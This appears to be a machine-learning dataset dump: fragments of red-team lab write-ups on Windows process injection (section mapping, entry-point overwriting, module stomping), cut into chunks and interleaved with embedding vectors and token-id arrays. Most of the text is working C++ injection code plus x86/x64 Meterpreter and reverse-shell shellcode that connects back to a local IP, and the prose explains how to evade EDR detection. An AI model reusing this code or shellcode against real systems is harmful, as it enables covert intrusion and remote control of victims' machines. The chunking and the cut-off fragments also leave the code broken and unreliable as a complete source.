\ x8b \ x40 \ x20 \ x49 \ x01 \ xd0 \ xe3 \ x56 \ x48 \ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 \ xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c \ x24 \ x08 \ x45 \ x39 \ xd1 \ x75 \ xd8 \ x58 \ x44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 \ x66 \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 \ x88 \ x48 \ x01 \ xd0 \ x41 \ x58 \ x41 \ x58 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 \ x41 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ x52 \ xff \ xe0 \ x58 \ x41 \ x59 \ x5a \ x48 \ x8b \ x12 \ xe9 \ x4b \ xff \ xff \ xff \ x5d \ x49 \ xbe \ x77 \ x73 \ x32 \ x5f \ x33 \ x32 \ x00 \ x00 \ x41 \ x56 \ x49 \ x89 \ xe6 \ x48 \ x81 \ xec \ xa0 \ x01 \ x00 \ x00 \ x49 \ x89 \ xe5 \ x49 \ xbc \ x02 \ x00 \ x01 \ xbb \ x0a \ x00 \ x00 \ x05 \ x41 \ x54 \ x49 \ x89 \ xe4 \ x4c \ x89 \ xf1 \ x
[ -0.1403587907552719, -0.490982323884964, 0.04861442744731903, 0.6594962477684021, -0.4011847972869873, -0.46536755561828613, -0.8113654255867004, 0.0066835880279541016, 0.3503871262073517, 0.15120898187160492, -0.1220293790102005, 0.6813940405845642, 0.8879132866859436, 0.49975335597991943...
[ 1032, 1060, 2620, 2497, 1032, 1060, 12740, 1032, 1060, 11387, 1032, 1060, 26224, 1032, 1060, 24096, 1032, 1060, 2094, 2692, 1032, 1060, 2063, 2509, 1032, 1060, 26976, 1032, 1060, 18139, 1032, 1060, 4246, 1032, 1060, 2278, 2683, 1032, 1060, ...
red_team
94.txt
3
##41 \ xba \ x4c \ x77 \ x26 \ x07 \ xff \ xd5 \ x4c \ x89 \ xea \ x68 \ x01 \ x01 \ x00 \ x00 \ x59 \ x41 \ xba \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x41 \ x5e \ x50 \ x50 \ x4d \ x31 \ xc9 \ x4d \ x31 \ xc0 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc2 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc1 \ x41 \ xba \ xea \ x0f \ xdf \ xe0 \ xff \ xd5 \ x48 \ x89 \ xc7 \ x6a \ x10 \ x41 \ x58 \ x4c \ x89 \ xe2 \ x48 \ x89 \ xf9 \ x41 \ xba \ x99 \ xa5 \ x74 \ x61 \ xff \ xd5 \ x85 \ xc0 \ x74 \ x0a \ x49 \ xff \ xce \ x75 \ xe5 \ xe8 \ x93 \ x00 \ x00 \ x00 \ x48 \ x83 \ xec \ x10 \ x48 \ x89 \ xe2 \ x4d \ x31 \ xc9 \ x6a \ x04 \ x41 \ x58 \ x48 \ x89 \ xf9 \ x41 \ xba \ x02 \ xd9 \ xc8 \ x5f \ xff \ xd5 \ x83 \ xf8 \ x00 \ x7e \ x55 \ x48 \ x83 \ xc4 \ x20 \ x5e \ x89 \ xf6 \ x6a \ x40 \ x41 \ x59 \ x68 \ x00 \ x10 \ x00 \ x00 \ x41 \ x58 \ x48 \ x89 \ xf2 \ x48 \ x31 \ xc9 \ x41 \ x
[ -0.0577891543507576, 0.03289664164185524, -0.2550857365131378, 0.678275465965271, 0.2509089708328247, 0.051971435546875, -0.7129043340682983, 0.5783193111419678, 0.3195277750492096, 0.04787633195519447, -0.25563615560531616, 0.766852855682373, 0.6121566891670227, 0.4685765206813812, -0.7...
[ 23632, 1032, 1060, 3676, 1032, 1060, 2549, 2278, 1032, 1060, 2581, 2581, 1032, 1060, 23833, 1032, 1060, 2692, 2581, 1032, 1060, 4246, 1032, 1060, 2094, 2629, 1032, 1060, 2549, 2278, 1032, 1060, 2620, 2683, 1032, 1060, 5243, 1032, 1060, 25...
red_team
94.txt
4
##ba \ x58 \ xa4 \ x53 \ xe5 \ xff \ xd5 \ x48 \ x89 \ xc3 \ x49 \ x89 \ xc7 \ x4d \ x31 \ xc9 \ x49 \ x89 \ xf0 \ x48 \ x89 \ xda \ x48 \ x89 \ xf9 \ x41 \ xba \ x02 \ xd9 \ xc8 \ x5f \ xff \ xd5 \ x83 \ xf8 \ x00 \ x7d \ x28 \ x58 \ x41 \ x57 \ x59 \ x68 \ x00 \ x40 \ x00 \ x00 \ x41 \ x58 \ x6a \ x00 \ x5a \ x41 \ xba \ x0b \ x2f \ x0f \ x30 \ xff \ xd5 \ x57 \ x59 \ x41 \ xba \ x75 \ x6e \ x4d \ x61 \ xff \ xd5 \ x49 \ xff \ xce \ xe9 \ x3c \ xff \ xff \ xff \ x48 \ x01 \ xc3 \ x48 \ x29 \ xc6 \ x48 \ x85 \ xf6 \ x75 \ xb4 \ x41 \ xff \ xe7 \ x58 \ x6a \ x00 \ x59 \ x49 \ xc7 \ xc2 \ xf0 \ xb5 \ xa2 \ x56 \ xff \ xd5 " ; myntcreatesection fntcreatesection = ( myntcreatesection ) ( getprocaddress ( getmodulehandlea ( " ntdll " ), " ntcreatesection " ) ) ; myntmapviewofsection fntmapviewofsection = ( myntmapviewofsection ) ( getprocaddress ( getmodulehandlea ( " ntdll " ), " ntmapviewofsection " ) ) ; myrtlcreateuserthread frtlcreateuserthread = ( myrtlcreateuserthread ) ( getprocaddress ( getmodulehandlea ( " ntdll "
[ 0.4154524505138397, -0.462751567363739, -0.0035484712570905685, 1.0693089962005615, -0.0766279548406601, 0.338374525308609, -0.36940282583236694, 0.6191457509994507, 0.11893397569656372, 0.9167761206626892, -0.4021857678890228, -0.07855577766895294, 0.33627060055732727, 0.5529567003250122,...
[ 3676, 1032, 1060, 27814, 1032, 1060, 2050, 2549, 1032, 1060, 22275, 1032, 1060, 2063, 2629, 1032, 1060, 4246, 1032, 1060, 2094, 2629, 1032, 1060, 18139, 1032, 1060, 2620, 2683, 1032, 1060, 2278, 2509, 1032, 1060, 26224, 1032, 1060, 2620, ...
red_team
94.txt
5
), " rtlcreateuserthread " ) ) ; size _ t size = 4096 ; large _ integer sectionsize = { size } ; handle sectionhandle = null ; pvoid localsectionaddress = null, remotesectionaddress = null ; / / create a memory section fntcreatesection ( & sectionhandle, section _ map _ read | section _ map _ write | section _ map _ execute, null, ( plarge _ integer ) & sectionsize, page _ execute _ readwrite, sec _ commit, null ) ; / / create a view of the memory section in the local process fntmapviewofsection ( sectionhandle, getcurrentprocess ( ), & localsectionaddress, null, null, null, & size, 2, null, page _ readwrite ) ; / / create a view of the memory section in the target process handle targethandle = openprocess ( process _ all _ access, false, 1480 ) ; fntmapviewofsection ( sectionhandle, targethandle, & remotesectionaddress, null, null, null, & size, 2, null, page _ execute _ read ) ; / / copy shellcode to the local view, which will get reflected in the target process's mapped view memcpy ( localsectionaddress, buf, sizeof ( buf ) ) ; handle targetthreadhandle = null ; frtlcreateuserthread ( targethandle, null, false, 0, 0, 0, remotesectionaddress, null, & targetthreadhandle, null ) ; return 0 ; } referencesntapi undocumented functionsntapi undocumented functionssection objects and views - windows driversdocsmsftmasking malicious memory artifacts – part i : phantom dll hollowingforrestorrpreviousbackdooring pe files with shellcode [SEP]
[ 0.003936839289963245, -0.23434363305568695, 0.2253529131412506, 0.32301148772239685, -0.1289481371641159, -0.18712978065013885, -0.1358741819858551, 0.14338326454162598, -0.5438169240951538, 0.7902726531028748, 0.4131625294685364, -0.05532607436180115, 0.42804592847824097, 0.25736975669860...
[ 1007, 1010, 1000, 19387, 15472, 29313, 20330, 2705, 16416, 2094, 1000, 1007, 1007, 1025, 2946, 1035, 1056, 2946, 1027, 2871, 2683, 2575, 1025, 2312, 1035, 16109, 5433, 4697, 1027, 1063, 2946, 1065, 1025, 5047, 2930, 11774, 2571, 1027, 19701...
red_team
94.txt
6
[CLS] addressofentrypoint code injection without virtualallocex rwxcode injectionthis is a shellcode injection technique that works as follows : 1. start a target process into which the shellcode will be injected, in suspended state. 2. get addressofentrypoint of the target process3. write shellcode to addressofentrypoint retrieved in step 24. resume target process5. catch the incoming shellwhat's nice about this technique is that we don't need to allocate rwx memory pages in the victim process which some edrs may not like. attentionper url the page on addressofentrypoint code injection without virtualallocex rwx, this is not really done without using rwx. as shown in the first picture, the entrypoint memory page is already under rx permissions, and as shown here, the only reason this method works is because writeprocessmemory is being nice and trying to change rx to rwx temporarily, which would end up creating an rwx page anyways, essentially making this technique still easily detectable by edrs that look for rwx regions. executionfirst, in order to get addressofentrypoint, we need to get the image base address of the target process - notepad. exe : we then need to parse out the nt and optional headers and find the addressentrypoint ( relative virtual address ) of the notepad. exe which in my case was at 0001bf90 : knowing notepad's image base address and an rva of the addressentrypoint, we can get its virtual address ( by adding the two up ) and hijack the executable by overwriting the very first instructions found at that address with our shellcode : bytes at addressofentrypoint get overwritten with shellcoderesuming the suspended process executes our shellcode which results in a meterpreter session : code # include " pch. h " # include < iostream > # include < windows. h > # include < winternl. h > # pragma comment ( lib, " ntdll " ) int main ( ) { / / x86 meterpreter unsigned char shellcode [ ] = " \ xfc \ xe8 \ x82 \ x00 \ x00 \ x00 \ x60 \ x89 \ xe5 \ x31 \ xc0 \ x64 \
[ -0.08965696394443512, 0.26864492893218994, 0.2678966224193573, 0.19531358778476715, -0.4177970886230469, -0.5462263822555542, -0.4176376163959503, -0.05011869594454765, -0.026168812066316605, 0.8831233978271484, -0.2966569662094116, 0.14297327399253845, 0.4099401831626892, -0.3627933263778...
[ 101, 4769, 11253, 4765, 2854, 8400, 3642, 13341, 2302, 7484, 8095, 10085, 10288, 1054, 2860, 2595, 16044, 13341, 15222, 2015, 2003, 1037, 5806, 16044, 13341, 6028, 2008, 2573, 2004, 4076, 1024, 1015, 1012, 2707, 1037, 4539, 2832, 2046, 2029...
red_team
95.txt
0
x8b \ x50 \ x30 " " \ x8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ x4a \ x26 \ x31 \ xff " " \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ xc1 \ xcf \ x0d \ x01 \ xc7 \ xe2 \ xf2 \ x52 " " \ x57 \ x8b \ x52 \ x10 \ x8b \ x4a \ x3c \ x8b \ x4c \ x11 \ x78 \ xe3 \ x48 \ x01 \ xd1 " " \ x51 \ x8b \ x59 \ x20 \ x01 \ xd3 \ x8b \ x49 \ x18 \ xe3 \ x3a \ x49 \ x8b \ x34 \ x8b " " \ x01 \ xd6 \ x31 \ xff \ xac \ xc1 \ xcf \ x0d \ x01 \ xc7 \ x38 \ xe0 \ x75 \ xf6 \ x03 " " \ x7d \ xf8 \ x3b \ x7d \ x24 \ x75 \ xe4 \ x58 \ x8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b " " \ x0c \ x4b \ x8b \ x58 \ x1c \ x01 \ xd3 \ x8b \ x04 \ x8b \ x01 \ xd0 \ x89 \ x44 \ x24 " " \ x24 \ x5b \ x5b \ x61 \ x59 \ x5a \ x51 \ xff \ xe0 \ x5f \ x5f \ x5a \ x8b \ x12 \ xeb " " \ x8d \ x5d \ x68 \ x33 \ x32 \ x00 \ x00 \ x68 \ x77 \ x73 \ x32 \ x5f \ x54 \ x68 \ x4c "
[ -0.015041295439004898, -0.059418935328722, -0.45060932636260986, 0.7464983463287354, 0.35733264684677124, 0.023825354874134064, -0.8866927027702332, 0.5115789175033569, 0.33299246430397034, 0.504571795463562, -0.08839938789606094, 1.0841892957687378, 1.177502155303955, 0.5266780853271484, ...
[ 1060, 2620, 2497, 1032, 1060, 12376, 1032, 1060, 14142, 1000, 1000, 1032, 1060, 2620, 2497, 1032, 1060, 25746, 1032, 1060, 2692, 2278, 1032, 1060, 2620, 2497, 1032, 1060, 25746, 1032, 1060, 16932, 1032, 1060, 2620, 2497, 1032, 1060, 2581, ...
red_team
95.txt
1
" \ x77 \ x26 \ x07 \ x89 \ xe8 \ xff \ xd0 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29 \ xc4 \ x54 " " \ x50 \ x68 \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x68 \ x0a \ x00 \ x00 \ x05 " " \ x68 \ x02 \ x00 \ x01 \ xbb \ x89 \ xe6 \ x50 \ x50 \ x50 \ x50 \ x40 \ x50 \ x40 \ x50 " " \ x68 \ xea \ x0f \ xdf \ xe0 \ xff \ xd5 \ x97 \ x6a \ x10 \ x56 \ x57 \ x68 \ x99 \ xa5 " " \ x74 \ x61 \ xff \ xd5 \ x85 \ xc0 \ x74 \ x0a \ xff \ x4e \ x08 \ x75 \ xec \ xe8 \ x67 " " \ x00 \ x00 \ x00 \ x6a \ x00 \ x6a \ x04 \ x56 \ x57 \ x68 \ x02 \ xd9 \ xc8 \ x5f \ xff " " \ xd5 \ x83 \ xf8 \ x00 \ x7e \ x36 \ x8b \ x36 \ x6a \ x40 \ x68 \ x00 \ x10 \ x00 \ x00 " " \ x56 \ x6a \ x00 \ x68 \ x58 \ xa4 \ x53 \ xe5 \ xff \ xd5 \ x93 \ x53 \ x6a \ x00 \ x56 " " \ x53 \ x57 \ x68 \ x02 \ xd9 \ xc8 \ x5f \ xff \ xd5 \ x83 \ xf8 \ x00 \ x7d \ x28 \ x58 " " \ x68 \ x00 \ x40 \ x00 \ x00 \ x6
[ -0.1932576447725296, -0.13735075294971466, -0.05513792484998703, 0.35346466302871704, -0.8202693462371826, -0.6547555923461914, -0.10202363133430481, 0.9744909405708313, 0.4306398034095764, 0.5439776182174683, 0.3490888178348541, 0.7131314277648926, 1.1479673385620117, 0.3928420841693878, ...
[ 1000, 1032, 1060, 2581, 2581, 1032, 1060, 23833, 1032, 1060, 2692, 2581, 1032, 1060, 2620, 2683, 1032, 1060, 2063, 2620, 1032, 1060, 4246, 1032, 1060, 2094, 2692, 1032, 1060, 2497, 2620, 1032, 1060, 21057, 1032, 1060, 24096, 1032, 1060, 8...
red_team
95.txt
2
##a \ x00 \ x50 \ x68 \ x0b \ x2f \ x0f \ x30 \ xff \ xd5 " " \ x57 \ x68 \ x75 \ x6e \ x4d \ x61 \ xff \ xd5 \ x5e \ x5e \ xff \ x0c \ x24 \ x0f \ x85 " " \ x70 \ xff \ xff \ xff \ xe9 \ x9b \ xff \ xff \ xff \ x01 \ xc3 \ x29 \ xc6 \ x75 \ xc1 " " \ xc3 \ xbb \ xf0 \ xb5 \ xa2 \ x56 \ x6a \ x00 \ x53 \ xff \ xd5 " ; startupinfoa si ; si = { } ; process _ information pi = { } ; process _ basic _ information pbi = { } ; dword returnlength = 0 ; createprocessa ( 0, ( lpstr ) " c : \ \ windows \ \ system32 \ \ notepad. exe ", 0, 0, 0, create _ suspended, 0, 0, & si, & pi ) ; / / get target image peb address and pointer to image base ntqueryinformationprocess ( pi. hprocess, processbasicinformation, & pbi, sizeof ( process _ basic _ information ), & returnlength ) ; dword peboffset = ( dword ) pbi. pebbaseaddress + 8 ; / / get target process image base address lpvoid imagebase = 0 ; readprocessmemory ( pi. hprocess, ( lpcvoid ) peboffset, & imagebase, 4, null ) ; / / read target process image headers byte headersbuffer [ 4096 ] = { } ; readprocessmemory ( pi. hprocess, ( lpcvoid ) imagebase, headersbuffer, 4096, null ) ; / / get addressofentrypoint pimage _ dos _ header dosheader = ( pimage _ dos _ header ) headersbuffer ; pimage _ nt _ headers ntheader = ( pimage _ nt _ headers
[ 0.22408215701580048, -0.23744751513004303, -0.10431519150733948, 0.8040601015090942, -0.6460705995559692, 0.3969460427761078, -0.5302916169166565, 0.1304907202720642, 0.33267396688461304, 0.6257675886154175, 0.41498491168022156, -0.4159998297691345, 0.7497332096099854, -0.14905790984630585...
[ 2050, 1032, 1060, 8889, 1032, 1060, 12376, 1032, 1060, 2575, 2620, 1032, 1060, 2692, 2497, 1032, 1060, 2475, 2546, 1032, 1060, 2692, 2546, 1032, 1060, 14142, 1032, 1060, 4246, 1032, 1060, 2094, 2629, 1000, 1000, 1032, 1060, 28311, 1032, 1...
red_team
95.txt
3
) ( ( dword _ ptr ) headersbuffer + dosheader - > e _ lfanew ) ; lpvoid codeentry = ( lpvoid ) ( ntheader - > optionalheader. addressofentrypoint + ( dword ) imagebase ) ; / / write shellcode to image entry point and execute it writeprocessmemory ( pi. hprocess, codeentry, shellcode, sizeof ( shellcode ), null ) ; resumethread ( pi. hthread ) ; return 0 ; } previousntcreatesection + ntmapviewofsection code injection [SEP]
[ 0.05580251291394234, -0.07401620596647263, 0.504403829574585, -0.35727354884147644, -0.03343222662806511, -0.5584848523139954, -0.20382799208164215, 0.531980037689209, -0.1971968114376068, 0.3497260808944702, 0.044640056788921356, 0.18445523083209991, 0.21372683346271515, 0.198606386780738...
[ 1007, 1006, 1006, 1040, 18351, 1035, 13866, 2099, 1007, 20346, 19022, 16093, 7512, 1009, 9998, 4974, 2121, 1011, 1028, 1041, 1035, 1048, 15143, 7974, 1007, 1025, 6948, 6767, 3593, 3642, 4765, 2854, 1027, 1006, 6948, 6767, 3593, 1007, 1006, ...
red_team
95.txt
4
[CLS] module stomping for shellcode injectioncode injectionoverviewmodule stomping ( or module overloading or dll hollowing ) is a shellcode injection ( although can be used for injecting full dlls ) technique that at a high level works as follows : 1. injects some benign windows dll into a remote ( target ) process2. overwrites dll's, loaded in step 1, addressofentrypoint point with shellcode3. starts a new thread in the target process at the benign dll's entry point, where the shellcode has been written to, during step 2in this lab, i will inject amsi. dll into a notepad. exe process, but this of course could be done with any other dll and process. pros1. does not allocate rwx memory pages or change their permissions in the target process at any point2. shellcode is injected into a legitimate windows dll, so detections looking for dlls loaded from weird places like c : \ temp \ would not work3. remote thread that executes the shellcode is associated with a legitimate windows moduleconsreadprocessmemory / writeprocessmemory api calls are usually used by debuggers rather than " normal " programs. readprocessmemory is used to read remote process injected module's image headers, meaning we could ditch the readprocessmemory call and read those headers from the dll on the disk. we could also use ntmapviewofsection to inject shellcode into the remote process, reducing the need for writeprocessmemory. code # include " pch. h " # include < iostream > # include < windows. h > # include < psapi. h > int main ( int argc, char * argv [ ] ) { handle processhandle ; pvoid remotebuffer ; wchar _ t moduletoinject [ ] = l " c : \ \ windows \ \ system32 \ \ amsi. dll " ; hmodule modules [ 256 ] = { } ; size _ t modulessize = sizeof ( modules ) ; dword modulessizeneeded = 0 ; dword modulenamesize = 0 ; size _ t modulescount = 0 ; char remotemodulename [ 128 ] = { } ; hmodule remotemo
[ 0.03613428771495819, -0.07333531975746155, 0.16944235563278198, 0.2323506474494934, -0.14463208615779877, -0.31063833832740784, -0.43250778317451477, -0.2916349768638611, -0.4654427170753479, 0.3321887254714966, -0.534186601638794, 0.4489353597164154, 0.6317844986915588, -0.672630369663238...
[ 101, 11336, 2358, 25377, 2075, 2005, 5806, 16044, 13341, 16044, 13341, 7840, 8584, 5302, 8566, 2571, 2358, 25377, 2075, 1006, 2030, 11336, 2058, 18570, 2030, 21469, 2140, 8892, 2075, 1007, 2003, 1037, 5806, 16044, 13341, 1006, 2348, 2064, 2...
red_team
96.txt
0
##dule = null ; / / simple reverse shell x64 unsigned char shellcode [ ] = " \ xfc \ x48 \ x83 \ xe4 \ xf0 \ xe8 \ xc0 \ x00 \ x00 \ x00 \ x41 \ x51 \ x41 \ x50 \ x52 \ x51 \ x56 \ x48 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ x60 \ x48 \ x8b \ x52 \ x18 \ x48 \ x8b \ x52 \ x20 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x4a \ x4a \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ xe2 \ xed \ x52 \ x41 \ x51 \ x48 \ x8b \ x52 \ x20 \ x8b \ x42 \ x3c \ x48 \ x01 \ xd0 \ x8b \ x80 \ x88 \ x00 \ x00 \ x00 \ x48 \ x85 \ xc0 \ x74 \ x67 \ x48 \ x01 \ xd0 \ x50 \ x8b \ x48 \ x18 \ x44 \ x8b \ x40 \ x20 \ x49 \ x01 \ xd0 \ xe3 \ x56 \ x48 \ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 \ xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c \ x24 \ x08 \ x45 \ x39 \ xd1 \ x75 \ xd8 \ x58 \ x
[ -0.09251240640878677, 0.12287070602178574, 0.11862733215093613, 0.6406245827674866, -0.30182236433029175, -0.6194362640380859, -0.3582008481025696, 0.3191377818584442, 0.830461323261261, -0.09932546317577362, 0.10374578833580017, 0.6928779482841492, 0.21979112923145294, 0.2791893780231476,...
[ 8566, 2571, 1027, 19701, 1025, 1013, 1013, 3722, 7901, 5806, 1060, 21084, 27121, 25869, 5806, 16044, 1031, 1033, 1027, 1000, 1032, 1060, 11329, 1032, 1060, 18139, 1032, 1060, 2620, 2509, 1032, 1060, 2063, 2549, 1032, 1060, 2546, 2692, 1032,...
red_team
96.txt
1
##44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 \ x66 \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 \ x88 \ x48 \ x01 \ xd0 \ x41 \ x58 \ x41 \ x58 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 \ x41 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ x52 \ xff \ xe0 \ x58 \ x41 \ x59 \ x5a \ x48 \ x8b \ x12 \ xe9 \ x57 \ xff \ xff \ xff \ x5d \ x49 \ xbe \ x77 \ x73 \ x32 \ x5f \ x33 \ x32 \ x00 \ x00 \ x41 \ x56 \ x49 \ x89 \ xe6 \ x48 \ x81 \ xec \ xa0 \ x01 \ x00 \ x00 \ x49 \ x89 \ xe5 \ x49 \ xbc \ x02 \ x00 \ x01 \ xbb \ x0a \ x00 \ x00 \ x05 \ x41 \ x54 \ x49 \ x89 \ xe4 \ x4c \ x89 \ xf1 \ x41 \ xba \ x4c \ x77 \ x26 \ x07 \ xff \ xd5 \ x4c \ x89 \ xea \ x68 \ x01 \ x01 \ x00 \ x00 \ x59 \ x41 \ xba \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x50 \ x50 \ x4d \ x31 \ xc9 \ x4d \ x31 \ xc0 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc2 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc1 \ x41 \ xba \ xea \ x0f \
[ 0.017896637320518494, -0.5071098804473877, -0.26567763090133667, 0.5770071148872375, 0.15086722373962402, -0.10681699216365814, -0.7427039742469788, 0.02455449476838112, 0.6780964732170105, 0.37352442741394043, -0.026516711339354515, 0.5073130130767822, 0.9069420099258423, 0.57766920328140...
[ 22932, 1032, 1060, 2620, 2497, 1032, 1060, 12740, 1032, 1060, 18827, 1032, 1060, 26224, 1032, 1060, 24096, 1032, 1060, 2094, 2692, 1032, 1060, 28756, 1032, 1060, 23632, 1032, 1060, 2620, 2497, 1032, 1060, 2692, 2278, 1032, 1060, 18139, 1032...
red_team
96.txt
2
xdf \ xe0 \ xff \ xd5 \ x48 \ x89 \ xc7 \ x6a \ x10 \ x41 \ x58 \ x4c \ x89 \ xe2 \ x48 \ x89 \ xf9 \ x41 \ xba \ x99 \ xa5 \ x74 \ x61 \ xff \ xd5 \ x48 \ x81 \ xc4 \ x40 \ x02 \ x00 \ x00 \ x49 \ xb8 \ x63 \ x6d \ x64 \ x00 \ x00 \ x00 \ x00 \ x00 \ x41 \ x50 \ x41 \ x50 \ x48 \ x89 \ xe2 \ x57 \ x57 \ x57 \ x4d \ x31 \ xc0 \ x6a \ x0d \ x59 \ x41 \ x50 \ xe2 \ xfc \ x66 \ xc7 \ x44 \ x24 \ x54 \ x01 \ x01 \ x48 \ x8d \ x44 \ x24 \ x18 \ xc6 \ x00 \ x68 \ x48 \ x89 \ xe6 \ x56 \ x50 \ x41 \ x50 \ x41 \ x50 \ x41 \ x50 \ x49 \ xff \ xc0 \ x41 \ x50 \ x49 \ xff \ xc8 \ x4d \ x89 \ xc1 \ x4c \ x89 \ xc1 \ x41 \ xba \ x79 \ xcc \ x3f \ x86 \ xff \ xd5 \ x48 \ x31 \ xd2 \ x48 \ xff \ xca \ x8b \ x0e \ x41 \ xba \ x08 \ x87 \ x1d \ x60 \ xff \ xd5 \ xbb \ xf0 \ xb5 \ xa2 \ x56 \ x41 \ xba \ xa6 \ x95 \ xbd \ x9d \ xff \ xd5 \ x48 \ x83 \ xc4 \ x28 \ x3c \ x06 \ x7c \ x0a \ x80 \ xfb
[ 0.09236779063940048, -0.6400762796401978, -0.07972127199172974, 0.6808335781097412, 0.017317816615104675, -0.6217374801635742, -0.921236515045166, 0.17848753929138184, 0.3322189152240753, -0.07638688385486603, -0.03664013743400574, 0.6191181540489197, 0.9799408912658691, 0.5711419582366943...
[ 1060, 20952, 1032, 1060, 2063, 2692, 1032, 1060, 4246, 1032, 1060, 2094, 2629, 1032, 1060, 18139, 1032, 1060, 2620, 2683, 1032, 1060, 2278, 2581, 1032, 1060, 2575, 2050, 1032, 1060, 10790, 1032, 1060, 23632, 1032, 1060, 27814, 1032, 1060, ...
red_team
96.txt
3
\ xe0 \ x75 \ x05 \ xbb \ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x59 \ x41 \ x89 \ xda \ xff \ xd5 " ; / / inject a benign dll into remote process processhandle = openprocess ( process _ all _ access, false, dword ( atoi ( argv [ 1 ] ) ) ) ; / / processhandle = openprocess ( process _ all _ access, false, 8444 ) ; remotebuffer = virtualallocex ( processhandle, null, sizeof moduletoinject, mem _ commit, page _ readwrite ) ; writeprocessmemory ( processhandle, remotebuffer, ( lpvoid ) moduletoinject, sizeof moduletoinject, null ) ; pthread _ start _ routine threadroutine = ( pthread _ start _ routine ) getprocaddress ( getmodulehandle ( text ( " kernel32 " ) ), " loadlibraryw " ) ; handle dllthread = createremotethread ( processhandle, null, 0, threadroutine, remotebuffer, 0, null ) ; waitforsingleobject ( dllthread, 1000 ) ; / / find base address of the injected benign dll in remote process enumprocessmodules ( processhandle, modules, modulessize, & modulessizeneeded ) ; modulescount = modulessizeneeded / sizeof ( hmodule ) ; for ( size _ t i = 0 ; i < modulescount ; i + + ) { remotemodule = modules [ i ] ; getmodulebasenamea ( processhandle, remotemodule, remotemodulename, sizeof ( remotemodulename ) ) ; if ( std : : string ( remotemodulename ). compare ( " amsi. dll " ) = = 0 ) { std : : cout < < remotemodulename < < " at " < < modules [ i ] ; break ; } } / / get dll's addressofentrypoint dword headerbuffersize = 0x1000 ; lpvoid targetprocessheaderbuffer = heapall
[ -0.1856117695569992, -0.4591549336910248, -0.26709118485450745, 0.6896052956581116, -0.050603169947862625, 0.2011995017528534, -0.14955173432826996, -0.010626687668263912, -0.03442232310771942, 1.2503348588943481, -0.02665707841515541, 0.4114439785480499, 0.8061937689781189, -0.20056103169...
[ 1032, 1060, 2063, 2692, 1032, 1060, 23352, 1032, 1060, 2692, 2629, 1032, 1060, 10322, 1032, 1060, 22610, 1032, 1060, 17134, 1032, 1060, 2581, 2475, 1032, 1060, 2575, 2546, 1032, 1060, 2575, 2050, 1032, 1060, 8889, 1032, 1060, 28154, 1032, ...
red_team
96.txt
4
##oc ( getprocessheap ( ), heap _ zero _ memory, headerbuffersize ) ; readprocessmemory ( processhandle, remotemodule, targetprocessheaderbuffer, headerbuffersize, null ) ; pimage _ dos _ header dosheader = ( pimage _ dos _ header ) targetprocessheaderbuffer ; pimage _ nt _ headers ntheader = ( pimage _ nt _ headers ) ( ( dword _ ptr ) targetprocessheaderbuffer + dosheader - > e _ lfanew ) ; lpvoid dllentrypoint = ( lpvoid ) ( ntheader - > optionalheader. addressofentrypoint + ( dword _ ptr ) remotemodule ) ; std : : cout < < ", entrypoint at " < < dllentrypoint ; / / write shellcode to dll's addressofentrypoint writeprocessmemory ( processhandle, dllentrypoint, ( lpcvoid ) shellcode, sizeof ( shellcode ), null ) ; / / execute shellcode from inside the benign dll createremotethread ( processhandle, null, 0, ( pthread _ start _ routine ) dllentrypoint, null, 0, null ) ; return 0 ; } demobelow shows the technique in action - amsi. dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi. dll addressofentrypoint : observationnote how powershell window shows that amsi. dll is loaded at 00007fff20e60000 and it's dll addressofentrypoint point is at 00007fff20e67e00. if we look at the stack trace of the cmd. exe process creation event in procmon, we see that frame 9 originates from inside amsi! amsiuacscan + 0x5675 ( 00007fff20e67f95 ) before the code transitions to kernelbase. dll where createprocessa is called : addressofentrypoint - injection - procmon. pml66kbbinaryprocmon logsif we inspect notepad. exe threads, we can see thread 7372 with a start address of am
[ 0.017790183424949646, -0.12039659172296524, -0.1341496706008911, 1.0946028232574463, -0.47835808992385864, -0.17911234498023987, -0.10109396278858185, -0.1073685735464096, 0.6502791047096252, 0.666736900806427, -0.24064874649047852, -0.2947103679180145, 0.257742315530777, -0.39125698804855...
